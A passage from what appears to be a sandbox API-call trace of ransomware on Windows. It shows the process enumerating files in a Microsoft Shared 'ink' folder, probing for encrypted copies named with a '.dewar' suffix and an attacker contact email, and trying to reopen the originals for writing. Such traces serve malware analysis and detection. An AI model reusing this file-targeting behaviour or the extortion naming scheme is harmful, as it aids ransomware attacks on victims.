dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.442] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3024) returned 1 [0221.442] CloseHandle (hObject=0x1d4) returned 1 [0221.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0221.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0221.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.444] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2048) returned 1 [0221.444] CloseHandle (hObject=0x1d4) returned 1 [0221.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0221.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0221.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.450] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2658) returned 1 [0221.450] CloseHandle (hObject=0x1d4) returned 1 [0221.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0221.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0221.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.455] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2628) returned 1 [0221.455] CloseHandle (hObject=0x1d4) returned 1 [0221.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0221.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0221.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.456] SetEvent (hEvent=0x118) returned 1 [0221.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.457] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2652) returned 1 [0221.457] CloseHandle (hObject=0x1d4) returned 1 [0221.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0221.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0221.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.459] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2526) returned 1 [0221.459] CloseHandle (hObject=0x1d4) returned 1 [0221.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0221.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0221.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.460] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2522) returned 1 [0221.461] CloseHandle (hObject=0x1d4) returned 1 [0221.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0221.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0221.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.465] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2568) returned 1 [0221.465] CloseHandle (hObject=0x1d4) returned 1 [0221.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0221.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0221.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.466] SetEvent (hEvent=0x118) returned 1 [0221.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.467] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=40960) returned 1 [0221.467] CloseHandle (hObject=0x1d4) returned 1 [0221.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0221.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0221.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.469] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2626) returned 1 [0221.469] CloseHandle (hObject=0x1d4) returned 1 [0221.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0221.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0221.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.820] SetEvent (hEvent=0x118) returned 1 [0221.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.822] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=94720) returned 1 [0221.822] CloseHandle (hObject=0x1d4) returned 1 [0221.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0221.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0221.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.824] SetEvent (hEvent=0x118) returned 1 [0221.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.825] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2246) returned 1 [0221.825] CloseHandle (hObject=0x1d4) returned 1 [0221.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0221.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0221.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.828] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2240) returned 1 [0221.828] CloseHandle (hObject=0x1d4) returned 1 [0221.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0221.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0221.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.830] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2644) returned 1 [0221.830] CloseHandle (hObject=0x1d4) returned 1 [0221.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0221.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0221.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.834] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2542) returned 1 [0221.834] CloseHandle (hObject=0x1d4) returned 1 [0221.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0221.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0221.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.836] SetEvent (hEvent=0x118) returned 1 [0221.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.836] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2568) returned 1 [0221.837] CloseHandle (hObject=0x1d4) returned 1 [0221.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0221.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0221.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.838] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2596) returned 1 [0221.839] CloseHandle (hObject=0x1d4) returned 1 [0221.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0221.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft 